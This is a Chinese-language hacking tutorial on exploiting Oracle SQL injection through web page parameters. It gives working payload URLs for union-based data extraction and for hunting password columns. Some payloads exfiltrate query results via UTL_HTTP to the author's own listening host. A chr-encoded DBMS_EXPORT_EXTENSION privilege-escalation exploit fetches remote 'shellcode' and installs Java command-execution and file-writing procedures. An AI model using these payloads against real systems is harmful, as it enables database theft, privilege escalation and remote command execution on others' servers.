在oracle的各种漏洞里,需要特别说下存储过程的注射,其实也并没有什么神秘,存储过程和函数一样是接受用户的输入然后送到数据库服务器解析执行,如果是采取的组装成SQL字符串的形式执行的话,就很容易将数据和命令混淆,导致SQL注射。但是根据注射发生的点不同,一样地注射漏洞的性质也不同。Oracle使用的是PL/SQL,漏洞发生在select等DML语句的,因为不支持多语句的执行,所以如果想运行自己的语句如GRANT DBA TO LOVEHSELL这些DDL语句的话,就必须创建自己的函数或存储过程,如果没有这相关的权限还可以利用cursor注射,用dbms_sql包来饶过限制。大多数的注射正是上面这些有限制的注射,必须依靠自己创建的一些其他包或者cursor来实现提升权限的目的,但是还是有些非常少见但是注射环境非常宽松的漏洞,就是用户的输入被放在begin和end之间的匿名pl/sql块的注射,这种环境下的注射可以直接注射进多语句,几乎没有任何限制,而可以看到,正是这种闪光的漏洞为我们的web注射技术带来了怎样的辉煌。
下面说说如何确定目标,注射参数的确定就由大家自己来了,主要是如何判断数据库属于oracle,根据数据库的特性很容易判断出来,oracle支持--类型注释,但是不支持; 分隔执行多语句,oracle有很多系统表,譬如all_tables,通过对这些表的访问也可以判断出是否属于oracle,另外在oracle里的一些函数也可以用来判断,譬如utl_http.request这些,语言上的小细节也可以用来区分系统,譬如在oracle里||是连接符号,但是在其他数据库里就不是了,所以 and chr(123)||chr(123)=chr(123)||chr(123)这样的,如果可以顺利执行,那么就基本应该是oracle了,另外,一些脚本在出现数据库查询错误时,对错误信息没有处理,也会泄露真实的后台数据库,这个可以很明显地看出来。
首先,我们找到一个可能存在注射的页面,list.jsp?username=loveshell,我们添加一个'结果出错了,通过爆出的错误知道这是一个oracle的后台数据库,如含有ORA-xxxx这样的都是oracle,然后用语句: list.jsp?username=loveshell' and ''||'1'='1 正常
list.jsp?username=loveshell' and ''||'2'='1 返回空
list.jsp?username=loveshell'--
这样可以知道是一个oracle的字符类型的注射点,那么我们就可以用这种方式插入自己的SQL语句了 list.jsp?username=loveshell' and [我们的sql语句] --
这个时候我们就可以根据自己的目标考虑后续的入侵思路了,一种是向web方向发展,通过查询数据库的信息来渗透web,一种就是直接入侵数据库,当然,最完美的情况下是oracle和web是一台机器。先说说如何查询数据库里存储的信息吧!要想取得信息就要将信息反馈回来,一种是利用union查询,譬如这里我们的入侵手法类似于下面: list.jsp?username=loveshell' order by 10 -- 错误,如果错误信息被反馈的话应该会出现xx coloum不存在之类的,字段数小于10
list.jsp?username=loveshell' order by 5 -- 正常显示,字段数大于5
最后发现到order by 8的时候错误,order by 7 就正常,说明是7个字段。注意这里,一般的时候,页面的逻辑很简单,所以可以这样order by猜测,但是如果这个参数进入了2个以上sql语句,里面结果的字段数不一,就难用这种方法了,当然,如果进入2个以上Sql语句的话,估计union查询也无法使用了,因为sql语句的前后字段数会不一,无法满足条件,后面我们将说到一种万能的获取数据的方法,这里先说比较直观的union查询。
list.jsp?username=loveshell' union select NULL,NULL,NULL,NULL,NULL,NULL,NULL from dual-- 用7个NULL来匹配对应的字段不会出现字段类型不一的情况,与mysql不同,后面的select语句必须加一个存在的表,这里是dual。
这里正常返回,然后我们就可以继续了,寻找的用做信息反馈的字段需要满足我上面在基本思路里的几个条件。 list.jsp?username=loveshell' and 1=2 union select 1,NULL,NULL,NULL,NULL,NULL,NULL from dual-- 正常
list.jsp?username=loveshell' and 1=2 union select 1,2,NULL,NULL,NULL,NULL,NULL from dual-- 错误,第二个字段不是数字类型
list.jsp?username=loveshell' and 1=2 union select 1,'2',NULL,NULL,NULL,NULL,NULL from dual-- 错误,第二个字段不是字符类型
list.jsp?username=loveshell' and 1=2 union select 1,NULL,'3',NULL,NULL,NULL,NULL from dual-- 这个时候正常了,而且在页面的对应的位置显示了,这个字段正是我们要找的。有的时候如果想看某个数字是多少怎么办呢?譬如想看记录的条数,直接二分法是可以的,但是直接显示出来还是比较直观,譬如想看dba_tables的记录数 list.jsp?username=loveshell' and 1=2 union select 1,to_char((select count(*) from dba_tables),'0000000'),NULL,NULL,NULL,NULL,NULL from dual--
当然还有其他to_系列函数,间接实现其他数据库里的自动转换。这个字段在页面显示并且也足够长,放得下我们的数据,所以我们就可以充分利用这个字段来进行查询了,譬如获得系统的版本信息可以用 list.jsp?username=loveshell' and 1=2 union select 1,(select banner from sys.v_$version where rownum=1),NULL,NULL,NULL,NULL,NULL from dual--
如果不能使用union,也没有关系,只要是oracle数据库,我们一样可以把信息给返回来,不用经典查询那么悲观,首先本地用nc -l -vv -p 9999,然后就可以很简单地用 list.jsp?username=loveshell' and UTL_HTTP.request('http://www.loveshell.net:9999/'||(select banner from sys.v_$version where rownum=1))=1--
这个时候loveshell.net的9999端口就应该返回sys.v_$version的banner了,就是数据库的版本,我们还获得了数据库所在网络的ip,呵呵,另外还知道数据库是否允许外连等信息。这里使用子查询来获得数据,Oracle没有limit这样的语句所以可以用where rownum=1来返回第一条数据。但是如果想知道其他某一条记录怎么办呢?直接rownum=2是不行的,这里可以再次嵌套一个子查询 list.jsp?username=loveshell' and UTL_HTTP.request('http://www.loveshell.net:9999/'||(select data from (select rownum as limit,banner as data from sys.v_$version) where limit =2)=1--
这样就可以得到第二条记录了,灵活运用可以很快取得需要的数据。
其他的如后台的帐户什么的都可以这样返回来。这种数据的窃取手段适用于update和insert等等一切可以使用函数的地方:),如果不确信存不存在UTL_HTTP包,可以用语句select count(*) from all_objects where object_name='UTL_HTTP'来判断了,注意,在系统表里的数据是大小写敏感的,但是关键字本身是大小写不敏感的。另外某些少数主机也是没有配置dns或者不能上网,没有配置dns的话可以通过用ip访问的方法来测试,不能上网的就要用其他方法了。
能获取数据了,我们继续向web的后台靠拢,如果我们知道了后台的地址但是没有密码,我们就可以通过查询系统表来找找敏感字段如passwd在哪,然后用上面的信息窃取手段给弄回来。all_tables包含了所有的表的信息,想找有包含passwd的字段在哪就可以用all_tab_columns: list.jsp?username=loveshell' and 1=2 union select 1,NULL,(select table_name||chr(35)||column_name from all_tab_columns where column_name like '%25PASS%25' and ROWNUM=1),NULL,NULL,NULL,NULL from dual--
其中的%25为%的转码,这样就能获得我们需要的敏感数据了,另外注意在oracle的系统表里数据都是大写的,所以用PASS而不是pass,或者用函数转成小写也可以,如lower(column_name) like '%25pass%25',进入web后台后可以继续通过后台的功能进行渗透了。
没有出现',并且可以执行多语句的的部分也很明确,用在web hacking上的模式就是 list.php?username=loveshell' and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||[多语句]||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0)=0--
呵呵,前面第一个loveshell'不被影响是因为会被转成loveshell\',而这个被oracle看作是loveshell\这个字符串后面跟一个',完全合法。这个漏洞是跟系统有关的,我们起码需要测试一下漏洞存在与否吧?也很简单,如果整个参数被处理好的话,我们在多语句里填写非法的语句是应该正常解析才对,所以测试可不可以执行多语句就用 list.php?username=loveshell' and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||[一个非法的sql语句,如chr(79)]||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0)=0--
如果出错了的话就说明漏洞是存在的(我测试的主机基本都有这个漏洞:P)但是到这大家也可以看到一个非常麻烦的事情,我们的多语句里的每个字符都转换成为chr的话整个参数将非常庞大,所以这里借用以下shellcode的概念,将我们的exploit放在另外一个地方,看我的语句吧! list.php?username=loveshell' and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||utl_http.request('http://www.loveshell.net/shellcode.txt')||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0)=0--
EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2) AS LANGUAGE JAVA NAME ''''JAVACMD.execCommand (java.lang.String)''''; ''; END; ';
EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''create or replace procedure utlwritefile(p_directory in varchar2, p_filename in varchar2, p_line in varchar2) as fd utl_file.file_type; begin fd := utl_file.fopen(p_directory, p_filename, ''''a''''); utl_file.put_line(fd, p_line); if (utl_file.is_open(fd) = true) then utl_file.fclose(fd); end if; end; ''; END; ';
上面演示的是用SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES这个函数的漏洞,漏洞跟版本有很大关系,所以上面的信息探测也比较重要。实际上,在早点的8i版本里也有类似的漏洞,ctxsys.driload.validate_stmt('grant dba to scott')这样的形式可以直接以高权限身份执行各种Oracle语句,也可以相应地用在web环境注射里。只要存在可用来执行多语句的漏洞,web注射就有非常大的利用价值。